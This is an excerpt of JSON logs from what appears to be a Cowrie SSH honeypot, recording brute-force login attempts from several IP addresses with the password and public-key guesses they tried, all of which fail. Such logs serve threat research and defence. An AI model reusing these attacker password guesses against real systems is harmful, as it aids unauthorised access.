{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:24.286258Z","src_ip":"89.223.69.22","session":"492710dbeb72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19581958","message":"login attempt [root/19581958] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:24.658778Z","src_ip":"89.223.69.22","session":"492710dbeb72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:22:25.789011Z","src_ip":"89.223.69.22","session":"492710dbeb72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":35330,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab4431f30a0","protocol":"ssh","message":"New connection: 89.108.118.91:35330 (10.17.0.5:22) [session: 6ab4431f30a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:45.720059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:45.725279Z","src_ip":"89.108.118.91","session":"6ab4431f30a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:45.855759Z","src_ip":"89.108.118.91","session":"6ab4431f30a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc1234","message":"login attempt [root/qweasdzxc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:46.247767Z","src_ip":"89.108.118.91","session":"6ab4431f30a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":48178,"dst_ip":"10.17.0.5","dst_port":22,"session":"091e11fb195b","protocol":"ssh","message":"New connection: 80.66.85.226:48178 (10.17.0.5:22) [session: 091e11fb195b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:46.919117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:46.923999Z","src_ip":"80.66.85.226","session":"091e11fb195b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:47.013870Z","src_ip":"80.66.85.226","session":"091e11fb195b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101989","message":"login attempt [root/10101989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:47.283683Z","src_ip":"80.66.85.226","session":"091e11fb195b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:47.383328Z","src_ip":"89.108.118.91","session":"6ab4431f30a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:23:48.379054Z","src_ip":"80.66.85.226","session":"091e11fb195b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":36879,"dst_ip":"159.203.135.109","dst_port":22,"session":"a04353c5a6d9","protocol":"ssh","message":"New connection: 2.57.121.25:36879 (159.203.135.109:22) [session: a04353c5a6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:53.198396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:53.203836Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:53.308122Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121084","message":"login attempt [user/121084] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:53.794881Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12101994","message":"login attempt [user/12101994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:54.902823Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120883","message":"login attempt [user/120883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:56.011554Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120790","message":"login attempt [user/120790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:57.119336Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120779","message":"login attempt [user/120779] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:58.226702Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:24:59.340399Z","src_ip":"2.57.121.25","session":"a04353c5a6d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.30","src_port":50944,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0c458f1946c","protocol":"ssh","message":"New connection: 188.44.20.30:50944 (10.17.0.5:22) [session: d0c458f1946c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:05.124279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:05.133298Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:05.295827Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:1e:13:f2:9b:d5:89:c4:92:f1:b1:c5:00:1e:71:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDg9EQMB3JXpHVNWCMky/+hJqq6B5dJNX/hBtATQKolNDm5sT4scqbJ9QWRKzue8wYatk/RyCaHz80kHXVSSW28pNfYha7xl+RtIgYv+2G8zAqwv9ZmhOqKyNH0k7tDBaJ2Mnc0e0hb/3F8z/TbiywaY3/1wAa2GAkiZ2VFsHO2qXExXZ5SPMeo+oS4gtDkR07lvvgcb+lRhknpGIaXmkzxU2P6hGYY6jSFerCh7CFE/Emnb7LTP8z3mvmhZztfnOCGeFHsF1KlrnRluluKf/Ksf6R7/KXsk4EUAlCUGe/RurrKyebli5bfHtrGB3zMUhK+pxR9ymPLIZtbVtEsJUG5xttRtPeSsr9LvE/lU+zqW1dEGTAOYTcOC728HQYjxgoGylmZ13r5DTTQwACOErzZC5qaiqYQ43upez6N56pUfG3bYPB05dSsaG1J6v+jDknKVOHsfj/Wgs1s7XuxD/P4hiDQvaFRMAVMS6IkXHk2idbxiA/ximacsgf4YHcT7Ms/sBOoKoFAotgDiYZVBZHxqb87gvCsDzk4Km9bUt2bAHDQqmEnr+1saIPq4FMDTOjDeG04NlHbLiz28eoVFpmtr5QzBS9DK6ZyzhSN07h+lYqubO6IVEuEaxRU5nwlxeVhmI6E52fsXITcjCOQaFZEqSRA3JAycCA7hMNVWL8qRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:1e:13:f2:9b:d5:89:c4:92:f1:b1:c5:00:1e:71:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:05.952571Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:1e:13:f2:9b:d5:89:c4:92:f1:b1:c5:00:1e:71:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDg9EQMB3JXpHVNWCMky/+hJqq6B5dJNX/hBtATQKolNDm5sT4scqbJ9QWRKzue8wYatk/RyCaHz80kHXVSSW28pNfYha7xl+RtIgYv+2G8zAqwv9ZmhOqKyNH0k7tDBaJ2Mnc0e0hb/3F8z/TbiywaY3/1wAa2GAkiZ2VFsHO2qXExXZ5SPMeo+oS4gtDkR07lvvgcb+lRhknpGIaXmkzxU2P6hGYY6jSFerCh7CFE/Emnb7LTP8z3mvmhZztfnOCGeFHsF1KlrnRluluKf/Ksf6R7/KXsk4EUAlCUGe/RurrKyebli5bfHtrGB3zMUhK+pxR9ymPLIZtbVtEsJUG5xttRtPeSsr9LvE/lU+zqW1dEGTAOYTcOC728HQYjxgoGylmZ13r5DTTQwACOErzZC5qaiqYQ43upez6N56pUfG3bYPB05dSsaG1J6v+jDknKVOHsfj/Wgs1s7XuxD/P4hiDQvaFRMAVMS6IkXHk2idbxiA/ximacsgf4YHcT7Ms/sBOoKoFAotgDiYZVBZHxqb87gvCsDzk4Km9bUt2bAHDQqmEnr+1saIPq4FMDTOjDeG04NlHbLiz28eoVFpmtr5QzBS9DK6ZyzhSN07h+lYqubO6IVEuEaxRU5nwlxeVhmI6E52fsXITcjCOQaFZEqSRA3JAycCA7hMNVWL8qRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:05.956964Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:10:2f:03:6c:9f:57:75:89:41:7c:b8:b3:72:02:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL/9votZxShPLvIj+Xg7RU6Tib/lexl4l5X8dvncEVv4H5nprMpz6ioAQEHPzWososGLGO4Nd08ysjo46O9hmIGO7Yh/8x3KaBPlRMosmIMbWxwvqMcvJGEfwNU/OVf8IwtHnvAmUtFK4uYPENjI+8Ox3J2JWcQnVX0raz8Oshqn+XAlmSumrv/ablWqJP3edqp2Zu3Mu/BALfvl0mS0PnIbZaawLQ2yNhdIovUgJ19l4sAv6RWoFj6r04J9A4s/bWiMYqWbwqK7e8Sl/4cCbkEB2M354Rovc+Dwp3LugXCMrc2JlgaEcoTBoUK7ST/1lyaRNvbi8t9iAj2Rx/IynJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:10:2f:03:6c:9f:57:75:89:41:7c:b8:b3:72:02:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.089153Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:10:2f:03:6c:9f:57:75:89:41:7c:b8:b3:72:02:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL/9votZxShPLvIj+Xg7RU6Tib/lexl4l5X8dvncEVv4H5nprMpz6ioAQEHPzWososGLGO4Nd08ysjo46O9hmIGO7Yh/8x3KaBPlRMosmIMbWxwvqMcvJGEfwNU/OVf8IwtHnvAmUtFK4uYPENjI+8Ox3J2JWcQnVX0raz8Oshqn+XAlmSumrv/ablWqJP3edqp2Zu3Mu/BALfvl0mS0PnIbZaawLQ2yNhdIovUgJ19l4sAv6RWoFj6r04J9A4s/bWiMYqWbwqK7e8Sl/4cCbkEB2M354Rovc+Dwp3LugXCMrc2JlgaEcoTBoUK7ST/1lyaRNvbi8t9iAj2Rx/IynJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.093914Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:e8:bd:f5:47:6e:9d:83:70:09:cf:0c:28:81:ab:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmNUPhMeabUEROMm/kr1vNF+LUJdxUi4Cyn8LUjWnYKRSbBvlJU6HoBWyKuFR7evRjhlLvDqXWu50t2/2ClxbYjSVEp9E2iS3XciLYZeegASDWs1u7u0wIG6nYgTBoj495AlDTaML/p8pqfyxQh1xWUJXgAL5MCQ6ocUYlpE3QwaqJHLYF8kElSebc0RgE1v1cG8OEUVSVS28T725djEaj3Rjune90pXVaZPZls44/xWaifpNn4+dlOADqAUQEWBRsO/G52UdM/RY8iRxZ1qa9qoBh0wQOXlS68d7/rinta4OxfLDy4DnXAEJB91FDvYnaEWSDHQ19DXsYqkGyPzgv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:e8:bd:f5:47:6e:9d:83:70:09:cf:0c:28:81:ab:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.225398Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:e8:bd:f5:47:6e:9d:83:70:09:cf:0c:28:81:ab:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmNUPhMeabUEROMm/kr1vNF+LUJdxUi4Cyn8LUjWnYKRSbBvlJU6HoBWyKuFR7evRjhlLvDqXWu50t2/2ClxbYjSVEp9E2iS3XciLYZeegASDWs1u7u0wIG6nYgTBoj495AlDTaML/p8pqfyxQh1xWUJXgAL5MCQ6ocUYlpE3QwaqJHLYF8kElSebc0RgE1v1cG8OEUVSVS28T725djEaj3Rjune90pXVaZPZls44/xWaifpNn4+dlOADqAUQEWBRsO/G52UdM/RY8iRxZ1qa9qoBh0wQOXlS68d7/rinta4OxfLDy4DnXAEJB91FDvYnaEWSDHQ19DXsYqkGyPzgv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.233310Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:e9:5a:43:19:7a:d7:bf:8d:96:f3:2d:24:49:88:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAl2Y01dxMXYh2AVGHgKiEIBRX/v75iodpHxWKL1CkoihePgb28V4pIJ3BjGG4U0EoEgX6ksdslEUCw+667H8k3k/PrI2SNlOL+vbFdL7/9P+dIGvV/4QOYesmzTaEl03j6kEFCIDpalYjJLsP9fDPCDK+aApV/ECbwem1e2BXJR2CBMT0nNVxBeJE0PUJhwqbLjpEtKpJcaPSMwn+qsOg/J5+Ct2oVm7aYK1fC2NMMZ+n/A6Po1ckU2Zq3USPHc/tbfv+Z5XQbw0IcGvJA/YSp3Mb+StEYFsa3bElJUgDXZZAc66QTryxWuUbJwnb2xNkZH9O9RlaYRGdymehh78n7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:e9:5a:43:19:7a:d7:bf:8d:96:f3:2d:24:49:88:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.373846Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:e9:5a:43:19:7a:d7:bf:8d:96:f3:2d:24:49:88:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAl2Y01dxMXYh2AVGHgKiEIBRX/v75iodpHxWKL1CkoihePgb28V4pIJ3BjGG4U0EoEgX6ksdslEUCw+667H8k3k/PrI2SNlOL+vbFdL7/9P+dIGvV/4QOYesmzTaEl03j6kEFCIDpalYjJLsP9fDPCDK+aApV/ECbwem1e2BXJR2CBMT0nNVxBeJE0PUJhwqbLjpEtKpJcaPSMwn+qsOg/J5+Ct2oVm7aYK1fC2NMMZ+n/A6Po1ckU2Zq3USPHc/tbfv+Z5XQbw0IcGvJA/YSp3Mb+StEYFsa3bElJUgDXZZAc66QTryxWuUbJwnb2xNkZH9O9RlaYRGdymehh78n7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:26:06.382313Z","src_ip":"188.44.20.30","session":"d0c458f1946c","protocol":"ssh"}
